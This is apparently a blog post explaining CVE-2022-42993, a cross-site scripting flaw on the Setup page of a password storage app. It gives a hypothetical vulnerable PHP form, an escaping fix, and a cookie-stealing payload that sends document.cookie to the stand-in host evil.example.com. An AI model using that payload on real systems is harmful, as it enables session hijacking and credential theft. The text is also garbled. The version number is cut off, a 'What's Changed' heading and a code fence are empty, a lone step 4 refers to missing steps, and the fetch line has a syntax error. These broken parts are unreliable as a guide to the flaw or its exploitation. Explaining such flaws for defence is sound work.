In October 2022, a new vulnerability surfaced in a Password Storage Application v1.. This wasn’t just another bug; it was a cross-site scripting (XSS) hole on the Setup page, tracked as CVE-2022-42993. If you’re using or ever tested this app, this deep dive is for you. Let’s break down how the vulnerability works—with real code and a look under the hood—so you can avoid repeating the same mistakes.

What is CVE-2022-42993?

CVE-2022-42993 is a Cross-Site Scripting (XSS) vulnerability in Password Storage Application v1., specifically in the Setup page. It allows attackers to inject malicious scripts, potentially stealing credentials or hijacking sessions when an admin configures the application.

Affected Software: Password Storage Application v1.

- Vulnerability Type: Stored/Reflected XSS (depends on setup logic)

Attack Vector: Web interface (Setup page)

Original Reference:
- NVD CVE Entry
- VulDB Report

How the Flaw Works

The root cause is improper handling (no sanitization) of user-supplied inputs on the Setup page. Suppose you get to a form input like “App Name” or “Admin Username.” Whatever you type, the app echoes back into the HTML page without escaping special characters. That’s an XSS time bomb.

Code Snippet – Vulnerable Setup Page (Hypothetical Example)

<!-- setup.php -->
<html>
  <body>
    <form method="POST" action="setup.php">
      <label>Application Name:</label>
      <input type="text" name="app_name" />
      <input type="submit" value="Install" />
    </form>

    <?php
      if (isset($_POST['app_name'])) {
        $appName = $_POST['app_name'];
        // BAD: No sanitization!
        echo "<h1>Welcome to $appName!</h1>";
      }
    ?>
  </body>
</html>

What’s Wrong?
The user’s input is directly printed into the web page using echo without escaping. Malicious code can slip right through.

On the “App Name” setup field, an attacker enters

<script>alert('XSS by attacker')</script>

After submitting, the page renders

<h1>Welcome to <script>alert('XSS by attacker')</script>!</h1>

Boom. The browser sees the <script> tag and runs it.

Typically, attackers use something silent, like stealing session cookies

<script>
  fetch('https://evil.example.com/cookies?data='; + document.cookie);
</script>

Or—if targeting an admin during initial setup—they can hijack the session from the get-go.

To fix this XSS, always escape output. Here’s a safer PHP example

echo "<h1>Welcome to " . htmlspecialchars($appName, ENT_QUOTES, 'UTF-8') . "!</h1>";

What’s Changed:

Timeline

- October 2022: Vulnerability reported on VulDB

`html

`

4. Complete the setup and view the result. The page will load, and you’ll see an HTTP request sent to the attacker-controlled server with your session cookie.

Conclusion

CVE-2022-42993 is a painful lesson in the perils of unescaped output. XSS can seem “toy,” but when it comes to password apps or any admin panels, it’s deadly serious. Always validate and escape user input—no exceptions.

Further Reading

- OWASP XSS Prevention Cheat Sheet
- Password Storage Application – NVD Entry

Stay safe, and happy coding!
*If you're using Password Storage Application v1., patch or sanitize today.*

Timeline

Published on: 10/27/2022 14:15:00 UTC
Last modified on: 10/28/2022 01:42:00 UTC